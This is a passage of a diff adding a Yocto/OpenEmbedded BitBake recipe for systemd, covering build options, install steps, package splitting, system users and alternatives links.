+PACKAGECONFIG[usrmerge] = "-Dsplit-usr=false,-Dsplit-usr=true"
+PACKAGECONFIG[sbinmerge] = "-Dsplit-bin=false,-Dsplit-bin=true"
+PACKAGECONFIG[userdb] = "-Duserdb=true,-Duserdb=false"
+PACKAGECONFIG[utmp] = "-Dutmp=true,-Dutmp=false"
+PACKAGECONFIG[valgrind] = "-DVALGRIND=1,,valgrind"
+PACKAGECONFIG[vconsole] = "-Dvconsole=true,-Dvconsole=false,,${PN}-vconsole-setup"
+PACKAGECONFIG[wheel-group] = "-Dwheel-group=true, -Dwheel-group=false"
+PACKAGECONFIG[xdg-autostart] = "-Dxdg-autostart=true,-Dxdg-autostart=false"
+# Verify keymaps on locale change
+PACKAGECONFIG[xkbcommon] = "-Dxkbcommon=true,-Dxkbcommon=false,libxkbcommon"
+PACKAGECONFIG[xz] = "-Dxz=true,-Dxz=false,xz"
+PACKAGECONFIG[zlib] = "-Dzlib=true,-Dzlib=false,zlib"
+PACKAGECONFIG[zstd] = "-Dzstd=true,-Dzstd=false,zstd"
+
+# Helper variables to clarify locations. This mirrors the logic in systemd's
+# build system.
+rootprefix ?= "${root_prefix}"
+rootlibdir ?= "${base_libdir}"
+rootlibexecdir = "${rootprefix}/lib"
+
+EXTRA_OEMESON += "-Dnobody-user=nobody \
+ -Dnobody-group=nobody \
+ -Drootlibdir=${rootlibdir} \
+ -Drootprefix=${rootprefix} \
+ -Ddefault-locale=C \
+ -Dmode=release \
+ -Dsystem-alloc-uid-min=101 \
+ -Dsystem-uid-max=999 \
+ -Dsystem-alloc-gid-min=101 \
+ -Dsystem-gid-max=999 \
+ "
+
+# Hardcode target binary paths to avoid using paths from sysroot
+EXTRA_OEMESON += "-Dkexec-path=${sbindir}/kexec \
+ -Dkmod-path=${base_bindir}/kmod \
+ -Dmount-path=${base_bindir}/mount \
+ -Dquotacheck-path=${sbindir}/quotacheck \
+ -Dquotaon-path=${sbindir}/quotaon \
+ -Dsulogin-path=${base_sbindir}/sulogin \
+ -Dnologin-path=${base_sbindir}/nologin \
+ -Dumount-path=${base_bindir}/umount"
+
+do_install() {
+ meson_do_install
+ install -d ${D}/${base_sbindir}
+ if ${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', 'false', 'true', d)}; then
+ # Provided by a separate recipe
+ rm ${D}${systemd_system_unitdir}/serial-getty* -f
+ fi
+
+ # Provide support for initramfs
+ [ ! -e ${D}/init ] && ln -s ${rootlibexecdir}/systemd/systemd ${D}/init
+ [ ! -e ${D}/${base_sbindir}/udevd ] && ln -s ${rootlibexecdir}/systemd/systemd-udevd ${D}/${base_sbindir}/udevd
+
+ install -d ${D}${sysconfdir}/udev/rules.d/
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ for rule in $(find ${WORKDIR} -maxdepth 1 -type f -name "*.rules"); do
+ install -m 0644 $rule ${D}${sysconfdir}/udev/rules.d/
+ done
+
+ install -m 0644 ${WORKDIR}/00-create-volatile.conf ${D}${sysconfdir}/tmpfiles.d/
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/systemd-udevd
+ sed -i s%@UDEVD@%${rootlibexecdir}/systemd/systemd-udevd% ${D}${sysconfdir}/init.d/systemd-udevd
+ install -Dm 0755 ${S}/src/systemctl/systemd-sysv-install.SKELETON ${D}${systemd_unitdir}/systemd-sysv-install
+ fi
+
+ if "${@'true' if oe.types.boolean(d.getVar('VOLATILE_LOG_DIR')) else 'false'}"; then
+ # /var/log is typically a symbolic link to inside /var/volatile,
+ # which is expected to be empty.
+ rm -rf ${D}${localstatedir}/log
+ else
+ chown root:systemd-journal ${D}${localstatedir}/log/journal
+
+ # journal-remote creates this at start
+ rm -rf ${D}${localstatedir}/log/journal/remote
+ fi
+
+ install -d ${D}${systemd_system_unitdir}/graphical.target.wants
+ install -d ${D}${systemd_system_unitdir}/multi-user.target.wants
+ install -d ${D}${systemd_system_unitdir}/poweroff.target.wants
+ install -d ${D}${systemd_system_unitdir}/reboot.target.wants
+ install -d ${D}${systemd_system_unitdir}/rescue.target.wants
+
+ # Create symlinks for systemd-update-utmp-runlevel.service
+ if ${@bb.utils.contains('PACKAGECONFIG', 'utmp', 'true', 'false', d)}; then
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/graphical.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/multi-user.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/poweroff.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/reboot.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/rescue.target.wants/systemd-update-utmp-runlevel.service
+ fi
+
+ # this file is needed to exist if networkd is disabled but timesyncd is still in use since timesyncd checks it
+ # for existence else it fails
+ if [ -s ${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf ] &&
+ ! ${@bb.utils.contains('PACKAGECONFIG', 'networkd', 'true', 'false', d)}; then
+ echo 'd /run/systemd/netif/links 0755 root root -' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
+ fi
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'true', 'false', d)}; then
+ echo 'L! ${sysconfdir}/resolv.conf - - - - ../run/systemd/resolve/resolv.conf' >>${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
+ echo 'd /run/systemd/resolve 0755 root root -' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
+ echo 'f /run/systemd/resolve/resolv.conf 0644 root root' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
+ ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
+ else
+ sed -i -e "s%^L! /etc/resolv.conf.*$%L! /etc/resolv.conf - - - - ../run/systemd/resolve/resolv.conf%g" ${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
+ ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
+ fi
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'false', 'true', d)}; then
+ rm ${D}${exec_prefix}/lib/tmpfiles.d/x11.conf
+ rm -r ${D}${sysconfdir}/X11
+ fi
+
+ # If polkit is setup fixup permissions and ownership
+ if ${@bb.utils.contains('PACKAGECONFIG', 'polkit', 'true', 'false', d)}; then
+ if [ -d ${D}${datadir}/polkit-1/rules.d ]; then
+ chmod 700 ${D}${datadir}/polkit-1/rules.d
+ chown polkitd:root ${D}${datadir}/polkit-1/rules.d
+ fi
+ fi
+
+ # If polkit is not available and a fallback was requested, install a drop-in that allows networkd to
+ # request hostname changes via DBUS without elevating its privileges
+ if ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', 'true', 'false', d)}; then
+ install -d ${D}${systemd_system_unitdir}/systemd-hostnamed.service.d/
+ install -m 0644 ${WORKDIR}/00-hostnamed-network-user.conf ${D}${systemd_system_unitdir}/systemd-hostnamed.service.d/
+ install -d ${D}${datadir}/dbus-1/system.d/
+ install -m 0644 ${WORKDIR}/org.freedesktop.hostname1_no_polkit.conf ${D}${datadir}/dbus-1/system.d/
+ fi
+
+ # create link for existing udev rules
+ ln -s ${base_bindir}/udevadm ${D}${base_sbindir}/udevadm
+
+ # duplicate udevadm for postinst script
+ install -d ${D}${libexecdir}
+ ln ${D}${base_bindir}/udevadm ${D}${libexecdir}/${MLPREFIX}udevadm
+
+ # install default policy for presets
+ # https://www.freedesktop.org/wiki/Software/systemd/Preset/#howto
+ install -Dm 0644 ${WORKDIR}/99-default.preset ${D}${systemd_unitdir}/system-preset/99-default.preset
+
+ # add a profile fragment to disable systemd pager with busybox less
+ install -Dm 0644 ${WORKDIR}/systemd-pager.sh ${D}${sysconfdir}/profile.d/systemd-pager.sh
+}
+
+python populate_packages:prepend (){
+ systemdlibdir = d.getVar("rootlibdir")
+ do_split_packages(d, systemdlibdir, r'^lib(.*)\.so\.*', 'lib%s', 'Systemd %s library', extra_depends='', allow_links=True)
+}
+PACKAGES_DYNAMIC += "^lib(udev|systemd|nss).*"
+
+PACKAGE_BEFORE_PN = "\
+ ${PN}-gui \
+ ${PN}-vconsole-setup \
+ ${PN}-initramfs \
+ ${PN}-analyze \
+ ${PN}-kernel-install \
+ ${PN}-rpm-macros \
+ ${PN}-binfmt \
+ ${PN}-zsh-completion \
+ ${PN}-container \
+ ${PN}-journal-gatewayd \
+ ${PN}-journal-upload \
+ ${PN}-journal-remote \
+ ${PN}-extra-utils \
+ ${PN}-udev-rules \
+ libsystemd-shared \
+ udev \
+ udev-hwdb \
+"
+
+SUMMARY:${PN}-container = "Tools for containers and VMs"
+DESCRIPTION:${PN}-container = "Systemd tools to spawn and manage containers and virtual machines."
+
+SUMMARY:${PN}-journal-gatewayd = "HTTP server for journal events"
+DESCRIPTION:${PN}-journal-gatewayd = "systemd-journal-gatewayd serves journal events over the network. Clients must connect using HTTP. The server listens on port 19531 by default."
+
+SUMMARY:${PN}-journal-upload = "Send journal messages over the network"
+DESCRIPTION:${PN}-journal-upload = "systemd-journal-upload uploads journal entries to a specified URL."
+
+SUMMARY:${PN}-journal-remote = "Receive journal messages over the network"
+DESCRIPTION:${PN}-journal-remote = "systemd-journal-remote is a command to receive serialized journal events and store them to journal files."
+
+SUMMARY:libsystemd-shared = "Systemd shared library"
+
+SYSTEMD_PACKAGES = "${@bb.utils.contains('PACKAGECONFIG', 'binfmt', '${PN}-binfmt', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gatewayd', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
+"
+SYSTEMD_SERVICE:${PN}-binfmt = "systemd-binfmt.service"
+
+USERADD_PACKAGES = "${PN} ${PN}-extra-utils \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gatewayd', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
+"
+GROUPADD_PARAM:${PN} = "-r systemd-journal;"
+GROUPADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', '-r systemd-hostname;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'coredump', '--system -d / -M --shell /sbin/nologin systemd-coredump;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'networkd', '--system -d / -M --shell /sbin/nologin systemd-network;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'polkit', '--system --no-create-home --user-group --home-dir ${sysconfdir}/polkit-1 polkitd;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'resolved', '--system -d / -M --shell /sbin/nologin systemd-resolve;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'timesyncd', '--system -d / -M --shell /sbin/nologin systemd-timesync;', '', d)}"
+USERADD_PARAM:${PN}-extra-utils = "--system -d / -M --shell /sbin/nologin systemd-bus-proxy"
+USERADD_PARAM:${PN}-journal-gatewayd = "--system -d / -M --shell /sbin/nologin systemd-journal-gateway"
+USERADD_PARAM:${PN}-journal-remote = "--system -d / -M --shell /sbin/nologin systemd-journal-remote"
+USERADD_PARAM:${PN}-journal-upload = "--system -d / -M --shell /sbin/nologin systemd-journal-upload"
+
+FILES:${PN}-analyze = "${bindir}/systemd-analyze"
+
+FILES:${PN}-initramfs = "/init"
+RDEPENDS:${PN}-initramfs = "${PN}"
+
+FILES:${PN}-gui = "${bindir}/systemadm"
+
+FILES:${PN}-vconsole-setup = "${rootlibexecdir}/systemd/systemd-vconsole-setup \
+ ${systemd_system_unitdir}/systemd-vconsole-setup.service \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-vconsole-setup.service"
+
+RDEPENDS:${PN}-kernel-install += "bash"
+FILES:${PN}-kernel-install = "${bindir}/kernel-install \
+ ${sysconfdir}/kernel/ \
+ ${exec_prefix}/lib/kernel \
+ "
+FILES:${PN}-rpm-macros = "${exec_prefix}/lib/rpm \
+ "
+
+FILES:${PN}-zsh-completion = "${datadir}/zsh/site-functions"
+
+FILES:${PN}-binfmt = "${sysconfdir}/binfmt.d/ \
+ ${exec_prefix}/lib/binfmt.d \
+ ${rootlibexecdir}/systemd/systemd-binfmt \
+ ${systemd_system_unitdir}/proc-sys-fs-binfmt_misc.* \
+ ${systemd_system_unitdir}/systemd-binfmt.service"
+RRECOMMENDS:${PN}-binfmt = "kernel-module-binfmt-misc"
+
+RRECOMMENDS:${PN}-vconsole-setup = "kbd kbd-consolefonts kbd-keymaps"
+
+
+FILES:${PN}-journal-gatewayd = "${rootlibexecdir}/systemd/systemd-journal-gatewayd \
+ ${systemd_system_unitdir}/systemd-journal-gatewayd.service \
+ ${systemd_system_unitdir}/systemd-journal-gatewayd.socket \
+ ${systemd_system_unitdir}/sockets.target.wants/systemd-journal-gatewayd.socket \
+ ${datadir}/systemd/gatewayd/browse.html \
+ "
+SYSTEMD_SERVICE:${PN}-journal-gatewayd = "systemd-journal-gatewayd.socket"
+
+FILES:${PN}-journal-upload = "${rootlibexecdir}/systemd/systemd-journal-upload \
+ ${systemd_system_unitdir}/systemd-journal-upload.service \
+ ${sysconfdir}/systemd/journal-upload.conf \
+ "
+SYSTEMD_SERVICE:${PN}-journal-upload = "systemd-journal-upload.service"
+
+FILES:${PN}-journal-remote = "${rootlibexecdir}/systemd/systemd-journal-remote \
+ ${sysconfdir}/systemd/journal-remote.conf \
+ ${systemd_system_unitdir}/systemd-journal-remote.service \
+ ${systemd_system_unitdir}/systemd-journal-remote.socket \
+ "
+SYSTEMD_SERVICE:${PN}-journal-remote = "systemd-journal-remote.socket"
+
+
+FILES:${PN}-container = "${sysconfdir}/dbus-1/system.d/org.freedesktop.import1.conf \
+ ${sysconfdir}/dbus-1/system.d/org.freedesktop.machine1.conf \
+ ${sysconfdir}/systemd/system/multi-user.target.wants/machines.target \
+ ${base_bindir}/machinectl \
+ ${bindir}/systemd-nspawn \
+ ${nonarch_libdir}/systemd/import-pubring.gpg \
+ ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.import1.busname \
+ ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.machine1.busname \
+ ${systemd_system_unitdir}/local-fs.target.wants/var-lib-machines.mount \
+ ${systemd_system_unitdir}/machines.target.wants/var-lib-machines.mount \
+ ${systemd_system_unitdir}/remote-fs.target.wants/var-lib-machines.mount \
+ ${systemd_system_unitdir}/machine.slice \
+ ${systemd_system_unitdir}/machines.target \
+ ${systemd_system_unitdir}/org.freedesktop.import1.busname \
+ ${systemd_system_unitdir}/org.freedesktop.machine1.busname \
+ ${systemd_system_unitdir}/systemd-importd.service \
+ ${systemd_system_unitdir}/systemd-machined.service \
+ ${systemd_system_unitdir}/dbus-org.freedesktop.machine1.service \
+ ${systemd_system_unitdir}/var-lib-machines.mount \
+ ${rootlibexecdir}/systemd/systemd-import \
+ ${rootlibexecdir}/systemd/systemd-importd \
+ ${rootlibexecdir}/systemd/systemd-machined \
+ ${rootlibexecdir}/systemd/systemd-pull \
+ ${exec_prefix}/lib/tmpfiles.d/systemd-nspawn.conf \
+ ${exec_prefix}/lib/tmpfiles.d/README \
+ ${systemd_system_unitdir}/systemd-nspawn@.service \
+ ${libdir}/libnss_mymachines.so.2 \
+ ${datadir}/dbus-1/system-services/org.freedesktop.import1.service \
+ ${datadir}/dbus-1/system-services/org.freedesktop.machine1.service \
+ ${datadir}/dbus-1/system.d/org.freedesktop.import1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.machine1.conf \
+ ${datadir}/polkit-1/actions/org.freedesktop.import1.policy \
+ ${datadir}/polkit-1/actions/org.freedesktop.machine1.policy \
+ "
+
+# "machinectl import-tar" uses "tar --numeric-owner", not supported by busybox.
+RRECOMMENDS:${PN}-container += "\
+ ${PN}-journal-gatewayd \
+ ${PN}-journal-remote \
+ ${PN}-journal-upload \
+ kernel-module-dm-mod \
+ kernel-module-loop \
+ kernel-module-tun \
+ tar \
+ "
+
+FILES:${PN}-extra-utils = "\
+ ${base_bindir}/systemd-escape \
+ ${base_bindir}/systemd-inhibit \
+ ${bindir}/systemd-detect-virt \
+ ${bindir}/systemd-dissect \
+ ${bindir}/systemd-path \
+ ${bindir}/systemd-run \
+ ${bindir}/systemd-cat \
+ ${bindir}/systemd-delta \
+ ${bindir}/systemd-cgls \
+ ${bindir}/systemd-cgtop \
+ ${bindir}/systemd-stdio-bridge \
+ ${bindir}/systemd-sysext \
+ ${base_bindir}/systemd-ask-password \
+ ${base_bindir}/systemd-tty-ask-password-agent \
+ ${systemd_system_unitdir}/systemd-ask-password-console.path \
+ ${systemd_system_unitdir}/systemd-ask-password-console.service \
+ ${systemd_system_unitdir}/systemd-ask-password-wall.path \
+ ${systemd_system_unitdir}/systemd-ask-password-wall.service \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-ask-password-console.path \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-ask-password-wall.path \
+ ${systemd_system_unitdir}/multi-user.target.wants/systemd-ask-password-wall.path \
+ ${rootlibexecdir}/systemd/systemd-resolve-host \
+ ${rootlibexecdir}/systemd/systemd-ac-power \
+ ${rootlibexecdir}/systemd/systemd-activate \
+ ${rootlibexecdir}/systemd/systemd-bus-proxyd \
+ ${systemd_system_unitdir}/systemd-bus-proxyd.service \
+ ${systemd_system_unitdir}/systemd-bus-proxyd.socket \
+ ${rootlibexecdir}/systemd/systemd-socket-proxyd \
+ ${rootlibexecdir}/systemd/systemd-reply-password \
+ ${rootlibexecdir}/systemd/systemd-sleep \
+ ${rootlibexecdir}/systemd/system-sleep \
+ ${systemd_system_unitdir}/systemd-hibernate.service \
+ ${systemd_system_unitdir}/systemd-hybrid-sleep.service \
+ ${systemd_system_unitdir}/systemd-suspend.service \
+ ${systemd_system_unitdir}/sleep.target \
+ ${rootlibexecdir}/systemd/systemd-initctl \
+ ${systemd_system_unitdir}/systemd-initctl.service \
+ ${systemd_system_unitdir}/systemd-initctl.socket \
+ ${systemd_system_unitdir}/sockets.target.wants/systemd-initctl.socket \
+ ${rootlibexecdir}/systemd/system-generators/systemd-gpt-auto-generator \
+ ${rootlibexecdir}/systemd/systemd-cgroups-agent \
+"
+
+FILES:${PN}-udev-rules = "\
+ ${rootlibexecdir}/udev/rules.d/70-uaccess.rules \
+ ${rootlibexecdir}/udev/rules.d/71-seat.rules \
+ ${rootlibexecdir}/udev/rules.d/73-seat-late.rules \
+ ${rootlibexecdir}/udev/rules.d/99-systemd.rules \
+"
+
+CONFFILES:${PN} = "${sysconfdir}/systemd/coredump.conf \
+ ${sysconfdir}/systemd/journald.conf \
+ ${sysconfdir}/systemd/logind.conf \
+ ${sysconfdir}/systemd/networkd.conf \
+ ${sysconfdir}/systemd/pstore.conf \
+ ${sysconfdir}/systemd/resolved.conf \
+ ${sysconfdir}/systemd/sleep.conf \
+ ${sysconfdir}/systemd/system.conf \
+ ${sysconfdir}/systemd/timesyncd.conf \
+ ${sysconfdir}/systemd/user.conf \
+"
+
+FILES:${PN} = " ${base_bindir}/* \
+ ${base_sbindir}/shutdown \
+ ${base_sbindir}/halt \
+ ${base_sbindir}/poweroff \
+ ${base_sbindir}/runlevel \
+ ${base_sbindir}/telinit \
+ ${base_sbindir}/resolvconf \
+ ${base_sbindir}/reboot \
+ ${base_sbindir}/init \
+ ${datadir}/dbus-1/services \
+ ${datadir}/dbus-1/system-services \
+ ${datadir}/polkit-1 \
+ ${datadir}/${BPN} \
+ ${datadir}/factory \
+ ${sysconfdir}/dbus-1/ \
+ ${sysconfdir}/modules-load.d/ \
+ ${sysconfdir}/pam.d/ \
+ ${sysconfdir}/profile.d/ \
+ ${sysconfdir}/sysctl.d/ \
+ ${sysconfdir}/systemd/ \
+ ${sysconfdir}/tmpfiles.d/ \
+ ${sysconfdir}/xdg/ \
+ ${sysconfdir}/init.d/README \
+ ${sysconfdir}/resolv-conf.systemd \
+ ${sysconfdir}/X11/xinit/xinitrc.d/* \
+ ${rootlibexecdir}/systemd/* \
+ ${libdir}/pam.d \
+ ${nonarch_libdir}/pam.d \
+ ${systemd_unitdir}/* \
+ ${base_libdir}/security/*.so \
+ /cgroup \
+ ${bindir}/systemd* \
+ ${bindir}/busctl \
+ ${bindir}/coredumpctl \
+ ${bindir}/localectl \
+ ${bindir}/hostnamectl \
+ ${bindir}/resolvectl \
+ ${bindir}/timedatectl \
+ ${bindir}/bootctl \
+ ${bindir}/oomctl \
+ ${exec_prefix}/lib/tmpfiles.d/*.conf \
+ ${exec_prefix}/lib/systemd \
+ ${exec_prefix}/lib/modules-load.d \
+ ${exec_prefix}/lib/sysctl.d \
+ ${exec_prefix}/lib/sysusers.d \
+ ${exec_prefix}/lib/environment.d \
+ ${localstatedir} \
+ ${rootlibexecdir}/modprobe.d/systemd.conf \
+ ${rootlibexecdir}/modprobe.d/README \
+ ${datadir}/dbus-1/system.d/org.freedesktop.timedate1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.locale1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.network1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.resolve1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.systemd1.conf \
+ ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', '${datadir}/dbus-1/system.d/org.freedesktop.hostname1_no_polkit.conf', '', d)} \
+ ${datadir}/dbus-1/system.d/org.freedesktop.hostname1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.login1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.timesync1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.portable1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.oom1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.home1.conf \
+ "
+
+FILES:${PN}-dev += "${base_libdir}/security/*.la ${datadir}/dbus-1/interfaces/ ${sysconfdir}/rpm/macros.systemd"
+
+RDEPENDS:${PN} += "kmod dbus util-linux-mount util-linux-umount udev (= ${EXTENDPKGV}) systemd-udev-rules util-linux-agetty util-linux-fsck"
+RDEPENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', '', 'systemd-serialgetty', d)}"
+RDEPENDS:${PN} += "volatile-binds"
+
+RRECOMMENDS:${PN} += "systemd-extra-utils \
+ udev-hwdb \
+ e2fsprogs-e2fsck \
+ kernel-module-autofs4 kernel-module-unix kernel-module-ipv6 kernel-module-sch-fq-codel \
+ os-release \
+ systemd-conf \
+"
+
+INSANE_SKIP:${PN} += "dev-so libdir"
+INSANE_SKIP:${PN}-dbg += "libdir"
+INSANE_SKIP:${PN}-doc += " libdir"
+INSANE_SKIP:libsystemd-shared += "libdir"
+
+FILES:libsystemd-shared = "${rootlibexecdir}/systemd/libsystemd-shared*.so"
+
+RPROVIDES:udev = "hotplug"
+
+RDEPENDS:udev-hwdb += "udev"
+
+FILES:udev += "${base_sbindir}/udevd \
+ ${rootlibexecdir}/systemd/network/99-default.link \
+ ${rootlibexecdir}/systemd/systemd-udevd \
+ ${rootlibexecdir}/udev/accelerometer \
+ ${rootlibexecdir}/udev/ata_id \
+ ${rootlibexecdir}/udev/cdrom_id \
+ ${rootlibexecdir}/udev/collect \
+ ${rootlibexecdir}/udev/dmi_memory_id \
+ ${rootlibexecdir}/udev/fido_id \
+ ${rootlibexecdir}/udev/findkeyboards \
+ ${rootlibexecdir}/udev/keyboard-force-release.sh \
+ ${rootlibexecdir}/udev/keymap \
+ ${rootlibexecdir}/udev/mtd_probe \
+ ${rootlibexecdir}/udev/scsi_id \
+ ${rootlibexecdir}/udev/v4l_id \
+ ${rootlibexecdir}/udev/keymaps \
+ ${rootlibexecdir}/udev/rules.d/50-udev-default.rules \
+ ${rootlibexecdir}/udev/rules.d/60-autosuspend.rules \
+ ${rootlibexecdir}/udev/rules.d/60-autosuspend-chromiumos.rules \
+ ${rootlibexecdir}/udev/rules.d/60-block.rules \
+ ${rootlibexecdir}/udev/rules.d/60-cdrom_id.rules \
+ ${rootlibexecdir}/udev/rules.d/60-drm.rules \
+ ${rootlibexecdir}/udev/rules.d/60-evdev.rules \
+ ${rootlibexecdir}/udev/rules.d/60-fido-id.rules \
+ ${rootlibexecdir}/udev/rules.d/60-input-id.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-alsa.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-input.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-storage.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-storage-tape.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-v4l.rules \
+ ${rootlibexecdir}/udev/rules.d/60-sensor.rules \
+ ${rootlibexecdir}/udev/rules.d/60-serial.rules \
+ ${rootlibexecdir}/udev/rules.d/61-autosuspend-manual.rules \
+ ${rootlibexecdir}/udev/rules.d/64-btrfs.rules \
+ ${rootlibexecdir}/udev/rules.d/70-camera.rules \
+ ${rootlibexecdir}/udev/rules.d/70-joystick.rules \
+ ${rootlibexecdir}/udev/rules.d/70-memory.rules \
+ ${rootlibexecdir}/udev/rules.d/70-mouse.rules \
+ ${rootlibexecdir}/udev/rules.d/70-power-switch.rules \
+ ${rootlibexecdir}/udev/rules.d/70-touchpad.rules \
+ ${rootlibexecdir}/udev/rules.d/75-net-description.rules \
+ ${rootlibexecdir}/udev/rules.d/75-probe_mtd.rules \
+ ${rootlibexecdir}/udev/rules.d/78-sound-card.rules \
+ ${rootlibexecdir}/udev/rules.d/80-drivers.rules \
+ ${rootlibexecdir}/udev/rules.d/80-net-setup-link.rules \
+ ${rootlibexecdir}/udev/rules.d/81-net-dhcp.rules \
+ ${rootlibexecdir}/udev/rules.d/90-vconsole.rules \
+ ${rootlibexecdir}/udev/rules.d/README \
+ ${sysconfdir}/udev \
+ ${sysconfdir}/init.d/systemd-udevd \
+ ${systemd_system_unitdir}/*udev* \
+ ${systemd_system_unitdir}/*.wants/*udev* \
+ ${base_bindir}/systemd-hwdb \
+ ${base_bindir}/udevadm \
+ ${base_sbindir}/udevadm \
+ ${libexecdir}/${MLPREFIX}udevadm \
+ ${datadir}/bash-completion/completions/udevadm \
+ ${systemd_system_unitdir}/systemd-hwdb-update.service \
+ "
+
+FILES:udev-hwdb = "${rootlibexecdir}/udev/hwdb.d \
+ "
+
+RCONFLICTS:${PN} = "tiny-init ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolvconf', '', d)}"
+
+INITSCRIPT_PACKAGES = "udev"
+INITSCRIPT_NAME:udev = "systemd-udevd"
+INITSCRIPT_PARAMS:udev = "start 03 S ."
+
+python __anonymous() {
+ if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
+ d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
+
+ if bb.utils.contains('PACKAGECONFIG', 'repart', True, False, d) and not bb.utils.contains('PACKAGECONFIG', 'openssl', True, False, d):
+ bb.error("PACKAGECONFIG[repart] requires PACKAGECONFIG[openssl]")
+
+ if bb.utils.contains('PACKAGECONFIG', 'homed', True, False, d) and not bb.utils.contains('PACKAGECONFIG', 'userdb openssl cryptsetup', True, False, d):
+ bb.error("PACKAGECONFIG[homed] requires PACKAGECONFIG[userdb], PACKAGECONFIG[openssl] and PACKAGECONFIG[cryptsetup]")
+}
+
+python do_warn_musl() {
+ if d.getVar('TCLIBC') == "musl":
+ bb.warn("Using systemd with musl is not recommended since it is not supported upstream and some patches are known to be problematic.")
+}
+addtask warn_musl before do_configure
+
+ALTERNATIVE:${PN} = "halt reboot shutdown poweroff runlevel ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolv-conf', '', d)}"
+
+ALTERNATIVE_TARGET[resolv-conf] = "${sysconfdir}/resolv-conf.systemd"
+ALTERNATIVE_LINK_NAME[resolv-conf] = "${sysconfdir}/resolv.conf"
+ALTERNATIVE_PRIORITY[resolv-conf] ?= "50"
+
+ALTERNATIVE_TARGET[halt] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
+ALTERNATIVE_PRIORITY[halt] ?= "300"
+
+ALTERNATIVE_TARGET[reboot] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
+ALTERNATIVE_PRIORITY[reboot] ?= "300"
+
+ALTERNATIVE_TARGET[shutdown] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
+ALTERNATIVE_PRIORITY[shutdown] ?= "300"
+
+ALTERNATIVE_TARGET[poweroff] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
+ALTERNATIVE_PRIORITY[poweroff] ?= "300"
+
+ALTERNATIVE_TARGET[runlevel] = "${base_bindir}/systemctl"
